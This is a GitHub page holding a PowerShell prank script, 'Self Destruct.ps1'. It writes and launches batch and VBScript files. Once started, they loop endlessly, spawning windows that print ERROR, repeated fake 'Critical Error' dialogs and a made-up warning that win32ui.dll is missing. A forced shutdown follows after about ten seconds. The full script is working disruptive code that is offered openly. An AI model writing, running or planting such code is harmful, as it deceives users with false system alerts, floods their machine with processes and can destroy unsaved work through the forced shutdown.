-
Notifications
You must be signed in to change notification settings - Fork 0
/
Self Destruct.ps1
85 lines (79 loc) · 2.52 KB
/
Self Destruct.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
# Load scripts if not present
if(-Not (Test-Path 'tmp\main.bat')) {
# Create a directory to store scripts
New-Item 'tmp' -ItemType 'directory'
# Create a test file to check write permissions
New-Item 'test' -ItemType 'file'
# Notify the user an error has occurred and exit if the directory was unable to be created
if(-not (Test-Path 'tmp') -or -not (Test-Path 'test')) {
[System.Windows.MessageBox]::Show('Unable to load scripts. Please try running this application in a different directory.','Error','OK','Error')
Exit
}
# Remove test file if able to write
Remove-Item 'test'
# Navigate to the directory and load files
Set-Location 'tmp'
Add-Content main.bat (
'@echo off',
'call sub0.bat',
'',
'start sub1.bat',
'',
':loop',
'set /a x=%random% %% 23000',
'set /a y=%random% %% 13000',
'echo a=InputBox("Warning: The following file critical to system operation is missing or corrupted: win32ui.dll. Please enter the filepath for a replacement immediately.","Critical Warning", "C:\Windows\System32\win32ui.dll", %x%, %y%) > sub4.vbs',
'',
'start sub2.bat',
'start sub3.vbs',
'start sub4.vbs',
'goto loop'
)
Add-Content sub0.bat (
'@echo off',
'setlocal enabledelayedexpansion',
'',
'set str=ERROR',
'for /l %%i in (1, 1, 19) do set str=!str! %str%',
'',
'title %str%',
'for /l %%i in (1, 1, 30) do echo %str%'
)
Add-Content sub1.bat (
'@echo off',
'call sub0.bat',
'',
'timeout /t 10 > nul',
'shutdown -s -t 3'
)
Add-Content sub2.bat (
'@echo off',
'setlocal enabledelayedexpansion',
'call sub0.bat',
'',
'set str=ERROR',
'for /l %%i in (1, 1, 19) do set str=!str! %str%',
'',
':loop','echo %str%',
'set /a a = %random% %% 5',
'timeout /t %a% > nul',
'goto loop'
)
Add-Content sub3.vbs (
'do',
'x=MsgBox("A Critical Error has occured at 0x9d18af32. Please contact your system administrator for more information.", 16, "Critical Error")',
'loop'
)
Add-Content abort.bat (
'@echo off',
'',
'shutdown /a',
'taskkill /f /im wscript.exe',
'taskkill /f /im cmd.exe'
)
# Navigate back to parent directory
Set-Location '..'
}
# Release the kraken
Set-Location 'tmp'
Start-Process 'main.bat'